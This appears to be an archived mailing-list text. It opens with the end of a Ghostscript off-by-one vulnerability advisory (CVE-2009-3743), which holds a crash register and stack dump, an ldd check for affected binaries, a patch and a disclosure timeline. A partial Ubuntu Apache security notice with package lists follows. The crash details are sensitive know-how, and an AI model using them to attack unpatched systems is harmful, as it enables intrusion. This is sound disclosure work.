eflags:00010216
     esi:0826A000 edi:08269FFC  esp:BFFFDD18  ebp:BFFFDD58     eip:408EFA83
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t s z
A P c
[007B:BFFFDD18]---------------------------------------------------------[stack]
BFFFDD48 : E0 13 F9 FF  F4 6F 5B 40 - 44 C8 07 08  00 00 00 00
.....o[@D.......
BFFFDD38 : 00 00 00 00  00 00 00 00 - 01 00 00 00  0D 00 00 00
................
BFFFDD28 : FC FF FF FF  AE 42 0F 40 - 44 C8 07 08  34 CA 07 08
.....B.@D...4...
BFFFDD18 : 26 00 00 00  09 69 0F 40 - 84 E1 07 08  88 E1 07 08
&....i.@........
[007B:0826A000]---------------------------------------------------------[ data]
<memmove+35>:    rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]

Arbitrary code execution would require to corrupt the heap with a bit more than
1Gb of copied data without writting to invalid memory. Having the heap
allocate so much data is not belived to be possible in the current situation
under x86 GNU/linux.

--[ Vulnerable applications:

    Vulnerable applications include at least the following applications,
who are linked with libgs.so : gs, ghostscript, lpdomatic,foomatic-rip,
and directomatic.

endrazine@blackbox:~/gs/ghostscript-8.70.dfsg.1$ ldd /bin/* /sbin/* \
/usr/sbin/* /usr/local/bin/* \
/usr/local/sbin/* /usr/bin/* 2>/dev/null |grep "libgs.so\|:"|grep
"libgs" -B 1
/usr/sbin/lpdomatic:
    libgs.so.8 => /usr/lib/libgs.so.8 (0xb7785000)
--
/usr/bin/directomatic:
    libgs.so.8 => /usr/lib/libgs.so.8 (0xb7785000)
--
/usr/bin/foomatic-rip:
    libgs.so.8 => /usr/lib/libgs.so.8 (0xb7785000)
--
/usr/bin/ghostscript:
    libgs.so.8 => /usr/lib/libgs.so.8 (0xb7785000)
--
/usr/bin/gs:
    libgs.so.8 => /usr/lib/libgs.so.8 (0xb7785000)
endrazine@blackbox:~/gs/ghostscript-8.70.dfsg.1$

    Third party applications linking to this library may also be vulnerable.

--[ Patch:

    This off by one can be mitigated by applying the following patch in
    ghostscript-8.70.dfsg.1/base/ttinterp.c :

-    if ( L<0 || L > CUR.args )
+    if ( L<=0 || L > CUR.args )

    The patch that has actually been merged to Ghostscript is strictly
    equivalent.

--[ Disclosure timeline:

* 19/10/2009: Contact Vendor.
* 19/10/2009: Vendor replies to our mail asking for details.
* 26/10/2009: Recontact vendor, ask for a valid pgp key.
* 05/11/2009: Recontact vendor who failed at providing a valid pgp key.
* 15/11/2009: Receive a valid pgp key from vendor. Provide details,
              including two PoCs to the Vendor.
* 16/12/2009: Recontact the vendor who doesn't get back to us.
* 05/01/2010: Vendor asks for more details including a complete bug analysis
              and patches.
* 06/01/2010: Provide full analysis and patches to the vendor.
* 06/01/2010: Vendor claims to have silently patched the vulnerability in
              their development branch.
* 01/03/2010: Ping vendor, who remains silent...
* 22/03/2010: Ping vendor, who remains silent...
* 20/07/2010: Inform the CERT about the vulnearbility.
* 20/07/2010: Recontact CERT about this vulnerability.
* 03/08/2010: CERT gets back to us asking for details.
* 09/08/2010: Send available information to the CERT.
* 13/08/2010: The CERT compares our patch and the applied patch in addition
              to the material we provided and concludes the vendor actually
              did fix the vulnerability as we suggested, but silently, denying
              us any kind of credit.
* 14/08/2010: The CERT assigns CVE number CVE-2009-3743 to this vulnerability.
* 25/11/2010: Public disclosure.

Note: The vendor claims to follow a bounty program for coders fixing bugs
      in their software. From our experience, they do not practice such a
      thing but silently patch reported bugs instead. We hope this was
      merely an exception.

--[ Credits:
    This vulnerability was discovered by Jonathan Brossard from Toucan System.

--[ About Toucan System:

From - Thu Nov 25 19:37:03 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127dd
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45371-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id F355BEC126
for <lists@securityspace.com>; Thu, 25 Nov 2010 12:07:12 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id D5DFF1438FE; Thu, 25 Nov 2010 09:23:16 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6246 invoked from network); 25 Nov 2010 15:57:48 -0000
Subject: [USN-1021-1] Apache vulnerabilities
From: Marc Deslauriers <marc.deslauriers@canonical.com>
Reply-To: Ubuntu Security <security@ubuntu.com>
To: ubuntu-security-announce@lists.ubuntu.com
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-L+OYFqlubeZQMzz++msl"
Date: Thu, 25 Nov 2010 10:54:27 -0500
Message-ID: <1290700467.4480.36.camel@mdlinux>
Mime-Version: 1.0
X-Mailer: Evolution 2.30.3
Status: RO

--=-L+OYFqlubeZQMzz++msl
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

===========================================================
Ubuntu Security Notice USN-1021-1          November 25, 2010
apache2 vulnerabilities
CVE-2010-1452, CVE-2010-1623
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 8.04 LTS
Ubuntu 9.10
Ubuntu 10.04 LTS
Ubuntu 10.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  apache2-common                  2.0.55-4ubuntu2.12

Ubuntu 8.04 LTS:
  apache2.2-common                2.2.8-1ubuntu0.19

Ubuntu 9.10:
  apache2.2-common                2.2.12-1ubuntu2.4

Ubuntu 10.04 LTS:
  apache2.2-common                2.2.14-5ubuntu8.4

Ubuntu 10.10:
  apache2.2-common                2.2.16-1ubuntu3.1

In general, a standard system update will make all the necessary changes.

Details follow:

It was discovered that Apache's mod_cache and mod_dav modules incorrectly
handled requests that lacked a path. A remote attacker could exploit this
with a crafted request and cause a denial of service. This issue affected
Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS. (CVE-2010-1452)

It was discovered that Apache did not properly handle memory when
destroying APR buckets. A remote attacker could exploit this with crafted
requests and cause a denial of service via memory exhaustion. This issue
affected Ubuntu 6.06 LTS and 10.10. (CVE-2010-1623)

Updated packages for Ubuntu 6.06 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12.diff.gz
      Size/MD5:   134865 3a8ddb93ba4acb10e5a25f8fedff76c8
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12.dsc
      Size/MD5:     1823 ea94bede6f84eff66e7ddbed098314b3
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55.orig.tar.gz
      Size/MD5:  6092031 45e32c9432a8e3cf4227f5af91b03622

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.0.55-4ubuntu2.12_all.deb
      Size/MD5:  2126274 cabf3e5b4db7aa0fedb11a88f8b75bd6

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   835158 fe32a82ad3ebc2bcb3dd761089125095
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   229940 b5a9d6e605da9a7eaa482afe5209dc7b
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   225020 ea417c30c902579143a7514c6ab9f85a
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   229516 5fa43f8e2ff727ee42a0ba40cdb1fa69
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   173264 e23808d6fb41ebb4cd3a7bd2d02362f7
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   174046 3e816aa3c599f5ee36de1061bdd49a6a
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:    95854 94297f57007c1b9161d2cb3357584f47
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:    37898 7747042159ee5f8bb6c49d8a8c4ba4df
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0-dev_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   287552 041d5d83609f70f50b6aa142f13ba670
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0_2.0.55-4ubuntu2.12_amd64.deb
      Size/MD5:   146132 e5da23a1537a20d723470a0ea65e842e

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   788394 9dec38ca7cf477fab1d5e235d722eb18
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   204496 17b851c580fdd514732f26d4bbd259b6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   200398 933aebfa68842dfe55408582cb7f9d86
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   203956 58a25ad65c7231f12fb16eb5866e32cf
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   173272 ee2c6892d43a29dc81b6d9ba8371b658
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   174054 f2cbea79976c62934145b24d0a724e9b
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:    93772 82e6a9c1c6d6df884c3af138c0775b67
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:    37898 8038ee56310c3e9ba48390fdf2fef08c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0-dev_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   263514 f0612bf70590d673c89e3cb570e2fc6c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0_2.0.55-4ubuntu2.12_i386.deb
      Size/MD5:   133962 50c5afa21c1885b85123ec625ec56ae3

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   861224 cf92679fbac1e52c2d8a598ff44f188b
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   221912 7b83f2457d7cf8d19fd0cb7316d56e0e
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   217554 5fbbd3b402cdf67e53ba32736ab8053f
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   221388 dee996cd2f6ebc9145e6011ef53a2ee0
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   173274 94584b32580ebe3812025aa4afb9c955
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   174052 98cb6b1ccf81313ff962bcb5b39ac7d2
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   105582 c4c9f9cc5720100d6bddd79db1307217
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:    37896 6b743ca1fca7190d0285566d13bda51d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0-dev_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   283142 6a92a690cf5cc721aa63521aad9392cc
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0_2.0.55-4ubuntu2.12_powerpc.deb
      Size/MD5:   143218 61e6e554125129329aa23caea6ab7d6d

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-common_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   805924 63dbfa9c4db04615df89b1f2c33ef244
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   212036 92c7ee68d10a57e7a5286330c4949c40
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   207740 508ef2ff0c8a3ff1957bab5239bd82ca
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   211424 26d7573f55a65f1c2179a6454a8a2247
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   173266 3e233d63f56f4db03c8f51fbe59d8bfd
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   174060 86dbedfeba4eae832e919c411303ee29
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:    94908 b5433d52f99b3e6e537e59f1c8d6d9da
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:    37894 5e76d199949e5f9a8325ff3f7a645cd5
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0-dev_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   269530 c1b082f05af3f78475ebf419439def01
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/libapr0_2.0.55-4ubuntu2.12_sparc.deb
      Size/MD5:   131930 0a007c073d905b15132bfc31ccda1798

Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.8-1ubuntu0.19.diff.gz
      Size/MD5:   147731 47643f18d53daf8750e4538970c83d07
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.8-1ubuntu0.19.dsc
      Size/MD5:     2046 1376672acd99ef14f01a6a8cc34c4346
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.8.orig.tar.gz
      Size/MD5:  6125771 39a755eb0f584c279336387b321e3dfc

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.2.8-1ubuntu0.19_all.deb
      Size/MD5:  1945340 4d59aa0089912c2624eb180d51b03c14
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-perchild_2.2.8-1ubuntu0.19_all.deb
      Size/MD5:    73650 77d5950a1c521b641aa72fb166eaa06f
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-src_2.2.8-1ubuntu0.19_all.deb
      Size/MD5:  6458166 4e10a40f1f1e579be261f40a7be2e295
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.8-1ubuntu0.19_all.deb
      Size/MD5:    46410 6198a6eba06d945ad9597e82c280d9cb

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   254742 fd54d116879ed6590105b26b01ff0dac
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   249806 b3b1fae6e7e4dbf28b4d7711aa56e978
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   254062 36933808b11f1f28501c9c864b399388
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   209526 bb74dd0a139b249c56d65868a9dc73e8
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   210246 bfd89c9521fecf9ed688249ccbfec002
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   142524 f1940eea967b918bd45b47caab2f4569
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.8-1ubuntu0.19_amd64.deb
      Size/MD5:   818246 088f766f2ec56ec65bf755554a86b10d

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   237310 e10dd07bd6e8c12c6612a49a63b8be7d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   233246 c8fd94e5d140caec9c66794a71549c03
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   236460 14c91ad0347f05d6e7340f6a1f928e27
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   208474 ef4b083322079968262bdcba6b3c6a67
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   209230 c881dc1f09b1f6b44438447aae8f6a9d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   141750 73549c8f179ff90ae2f46b8c0c8b15f8
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.8-1ubuntu0.19_i386.deb
      Size/MD5:   771740 b1d59367bfecfac830bae15c80f35220

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   236226 48998dba63cfeaa6643d70566b3a4b01
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   231844 92cd164c9cd479000ba26116d3b02528
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   235380 6467532b910026e940667bb198713aae
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   206216 3138f3c4b223d1fe380f0225400e01bd
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   206970 cf900b47ca37e165bf27178bc2ace931
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   141842 112093d097022b08aed1b5c88124422c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.8-1ubuntu0.19_lpia.deb
      Size/MD5:   750718 8c133b186cdac6c1ecb4545d6a3e694a

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   254768 91f01fceef69cabdec4b757de95158f4
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   250222 63f05e66592f62d2737af8d7cbe477b9
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   254334 668e26ac957e82ecf2d453785694084b
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   206226 18129b8fd8c67956365dcde559bc5d5d
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   207008 f472f886b6ef23dd312b6f260ac0ad4a
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   159022 cdc450f459faf8aa6e0aeea4302fb482
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.8-1ubuntu0.19_powerpc.deb
      Size/MD5:   907128 ebb5b80e3b8e86d65e737e9233adedf1

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   238036 08f53aec4792eb86f8703bc0c2704f6f
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   233776 75ee213b18e3a99bac748634268f5d4f
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   237202 27b608c9dc3e5e230c43f8f8c3ec700e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   206232 5924f7ed7175f472504ef1cf6ce4d86c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   206998 3c0e7c38872cef1e334feb1129b2692f
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   144452 50eaa5db62fba9c3c618b7cabe90a309
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.8-1ubuntu0.19_sparc.deb
      Size/MD5:   766340 8da38a1e49155f52ea46423fe4c4ee06

Updated packages for Ubuntu 9.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.12-1ubuntu2.4.diff.gz
      Size/MD5:   188484 c434b577603818436c5ee70fe88edf0f
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.12-1ubuntu2.4.dsc
      Size/MD5:     2553 7abc36d70b6407bf31d0260f8526e905
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.12.orig.tar.gz
      Size/MD5:  6678149 17f017b571f88aa60abebfe2945d7caf

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:  2246980 8e954b9a42e2fc44d823b610c63103f6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:     2346 111dc0ced8a829de9835209e392cf3e7
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:     2376 a66e6d805229684af87c68ab069ea266
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:     2314 0a40f20a353e1880aa3bc30aa875def7
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:   285472 2cf254bff1dd932e27a2f5eb0f2124a8
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:     1424 8200e0af179d043e28c2f13cd5f1238a
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-mpm-itk_2.2.12-1ubuntu2.4_all.deb
      Size/MD5:     2372 4daddf09fd746f243e1c8e232741cd8b

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:   138384 c23f1742d1a4d1ff327012cc58cd28a6
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:   139496 80d1bf7089621f9c00605116bd4efb26
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:   157192 3e2876e823a747c961f8b59df1900dc7
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:  1406140 f67eb0ab245047eb2719a695b671fa7d
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:    93116 e92b6c82515c6103af4c84178defec73
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_amd64.deb
      Size/MD5:    91618 087b0450f9a88bb5317701537e0007b9

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:   137086 9fd8574d5a320f22ce3c83cc9317927e
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:   138186 d1b822bee829beffc46f8a9aa94199e3
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:   155560 0025c5f7797bd018be99822a99119f40
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:  1309800 d94bad874d281bab671b0412cf17afb3
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:    92244 594282d8a9901fab271fb283b9bc9fbd
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_i386.deb
      Size/MD5:    90682 d4609ceb9bb59604ce158ca6e1014cb4

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:   138226 c907c76b362a7bcf49dbe953071c2c4c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:   139390 241cf4036e1794a425a618596eee14da
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:   158704 3258d4b715849de1ce8e43ded000c2e4
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:  1272916 b8242bb6da822d44ccec1a8fad064688
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:    92320 4b0485fe9f0df0bd32c6e3da0e42a87f
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_armel.deb
      Size/MD5:    90936 e9437ec0e9571f04f72f88dbe8ad369f

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:   137098 2fba573c3a8a0beee6b720ddf7a147fa
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:   138198 37dae52a4c96112916917dabab555b30
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:   155464 dfd5669eafaf325fa75f1e64eb29bfad
